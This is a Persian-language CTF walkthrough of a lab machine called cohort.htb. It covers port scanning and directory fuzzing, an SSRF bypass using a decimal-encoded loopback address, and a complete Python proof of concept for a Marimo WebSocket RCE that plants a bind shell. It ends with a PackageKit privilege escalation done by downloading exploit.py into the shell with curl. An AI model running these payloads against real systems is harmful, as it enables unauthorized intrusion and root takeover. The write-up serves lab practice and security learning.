Recon
اول از همه طبق معمول آیپی هدف رو که بهمون دادن پینگ میگیریم تا ببینیم اصلا در دسترس هست یا نه.
ازین به بعد به جای آیپی من مقدار $ip میزارم برای راحتی تایپ.
ping $ip
این سری نمیدونم چرا ولی با اتصال اول اصلا نتونستم پینگ بگیرم با اینکه به کانفیگ openvpn مسابقه وصل بودم.
با عوض کردن arena و اتصال دوباره مشکل حل شد.
اگر شما هم به این مشکل خوردید، صرفا مکان / حوزه openvpn رو عوض کنید.
nmap
یک اسکن خیلی سریع nmap انجام میدیم.
nmap -p- --min-rate 10000 -n -Pn -oA nmap/cohort_tcp.htb $ip
ازین اسکن اولیه متوجه میشیم یه وب سرور ساده است از بیرون و فقط ssh, http/s باز هستن.
همچنین آدرس resolve شده روی http/s این هست، طبق همیشه همون اسم ماشین:
https://cohort.htb
خیلی سریع به /etc/hosts این رو اضافه کنید و ادامه کار.
echo "$ip cohort.htb" | tee -a /etc/hosts
بعضا اگر نیاز بود اسکن های عمیق تر tcp یا udp انجام بدید ولی نیاز نمیشه روی ماشین های ساده.
# tcp scan
nmap -sC -sV -A -p53,443,2222,2121,80,8080,3000,5000,9000,8000 -oA nmap/cohort_tcp $ip
# UDP scan
nmap -sU --min-rate 10000 -n -Pn -oA nmap/cohort_udp.htb $ip
Fuzzing
با گشتن توی سایت فقط یه پیج لینک شده که یک فرم برای ارسال کردن یک سری فایل csv,… غیره هست که مثلا قراره پردازش کنه و نتیجه رو برگردونه.
ازونجایی که با پردازش مستقیم لینک کار میکنه اولین آسیب پذیری که به ذهن میرسه SSRF هست!

در حین انجام کار های دیگه میتونیم بزاریم fuff برامون روی زیر دامنه ها و مسیر های سایت فازینگ بزنه و هر چی هست پیدا کنه تا یه ایده کلی بهمون بده کدوم جهت باید بریم
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://cohort.htb/FUZZ -ac
فلگ ac مهمه چون خیلی از نتایج با ریسپانس 200 لزوما واقعی نیستن و بدرد ما نمیخورنو با این فلگ فیلتر انجام بدید.
برای این ماشین هیچ زیردامنه یا vhost وجود نداشت اما نتیجه اسکن بالا برای مسیر ها سه تا مسیر زیر رو برگردوند:
/status/assets/api
که البته اگر با Burp دنبال میکردید درخواست فرم رو مسیر /api رو مشاهده می کردید.
اما دو مسیر دیگه داخلی هستند و از بیرون 403 میدن.
SSRF
روش های ساده SSRF مثل وارد کردن file:// یا http://127.0.0.1 جوابگو نبود و ارور واضح برای هر مورد برگردوند.
ازونجایی که اصرار بر http/s داره، ما حدس میزنیم که این مقادیر بلک لیست شدن و با ترفندی مثل معادل دسیمال همون آدرس loopback رو وارد میکنیم:
https://2130706433
این آدرس با موفقیت سورس صفحه اصلی رو برمیگردونه!
که نشون میده کار کرده. حالا آدرس /status رو میزنیم:
https://2130706433/status
نتیجه همونطور که مشاهده می کنید لیستی از وب سرویس هاست و جزییات شون توی شبکه

ازنجا متوجه میشیم یه آدرس هست به نام nb-1be...cohort.htb.
این رو هم اضافه میکنیم به /etc/hosts و محتواش رو بررسی میکنیم
Marimo <= 0.20.4 - Pre-Auth Terminal WebSocket RCE
مشخص شد که توی آدرس nb-1be...cohort.htb یه سرویس هست به نام Marimo.
این یه CVE برای ورژن های کمتر از 0.20.4 داره که میتونیم بهره برداری کنیم.
کد POC این آسیب پذیری زیر آورده شده:
import websocket
import ssl
import time
url = "wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws"
sslopt = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False}
ws = websocket.WebSocket(sslopt=sslopt)
ws.connect(url)
print("[+] Connected!")
payload = (
"nohup python3 -c "
"\"import socket,subprocess,os;"
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
"s.bind(('0.0.0.0',4444));s.listen(1);conn,addr=s.accept();"
"os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);"
"subprocess.call(['/bin/sh','-i'])\" "
"> /dev/null 2>&1 &"
)
ws.send(payload + "\n")
print("[+] Bind shell payload sent. Waiting 3 seconds...")
time.sleep(3)
ws.close()
print("[+] Done. Now connect to the target's port 4444.")
قبل از اجرا، nc رو روی پورت ست شده برای شنود میزاریم:
nc 10.129.51.134 4444
script /dev/null -qc /bin/bash
# CTRL+Z
stty raw -echo; fg
export TERM=xterm
id
# uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
و بدین صورت RCE گرفتیم! تا اینجا فلگ یوزر بدست اومد.
Privilate escalation: CVE-2026-41651 (Pack2TheRoot)
برای ارتقا سطح دسترسی به روت: آسیب پذیری برای PackageKit هست که خیلی سرراست میتونیم از کد آماده استفاده کنیم توی reverse shell که گرفتیم و دسترسی بگیریم:
صرفا کافیه این رو دانلود کنیم، با python -m http.server سرو کنیمش و از توی reverse shell با curl دانلود کنیم
curl http://$ip:8000/exploit.py -o exploit.py
و به عنوان یوزر marimo این رو اجرا میکنیم تا دسترسی روت بگیریم.
تمام.